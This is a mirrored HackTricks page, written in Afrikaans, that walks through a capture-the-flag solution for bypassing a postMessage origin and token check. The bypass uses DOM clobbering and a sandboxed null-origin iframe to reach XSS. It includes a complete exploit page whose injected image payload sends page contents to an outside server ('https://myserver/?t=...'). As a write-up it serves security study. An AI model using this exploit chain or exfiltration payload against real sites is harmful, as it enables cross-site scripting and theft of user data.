mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
4.1 KiB
4.1 KiB
Bypassing SOP with Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
Iframes in SOP-2
In die oplossing vir hierdie uitdaging, @Strellic_ stel 'n soortgelyke metode voor soos in die vorige afdeling. Kom ons kyk daarna.
In hierdie uitdaging moet die aanvaller bypass hierdie:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
As hy dit doen, kan hy 'n postmessage met HTML-inhoud stuur wat in die bladsy geskryf gaan word met innerHTML sonder sanitasie (XSS).
Die manier om die eerste kontrole te omseil, is deur window.calc.contentWindow na undefined en e.source na null te maak:
window.calc.contentWindowis eintlikdocument.getElementById("calc"). Jy kandocument.getElementByIdoorheers met<img name=getElementById />(let op dat die Sanitizer API -hier- nie gekonfigureer is om teen DOM oorheersingaanvalle in sy standaardtoestand te beskerm nie).- Daarom kan jy
document.getElementById("calc")oorheers met<img name=getElementById /><div id=calc></div>. Dan salwindow.calcundefinedwees. - Nou moet ons hê dat
e.sourceundefinedofnullmoet wees (want==word gebruik in plaas van===,null == undefinedisTrue). Om dit te kry, is "maklik". As jy 'n iframe skep en 'n postMessage daaruit stuur en onmiddellik die iframe verwyder, sale.originnullwees. Kontroleer die volgende kode
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Om die tweede kontrole oor die token te omseil, stuur token met die waarde null en maak window.token se waarde undefined:
- Om
tokenin die postMessage met die waardenullte stuur, is trivial. window.tokenin die oproep van die funksiegetCookiewatdocument.cookiegebruik. Let daarop dat enige toegang totdocument.cookieinnulloorsprong bladsye 'n fout veroorsaak. Dit sal maak datwindow.tokendie waardeundefinedhet.
Die finale oplossing deur @terjanq is die volgende:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
{{#include ../../banners/hacktricks-training.md}}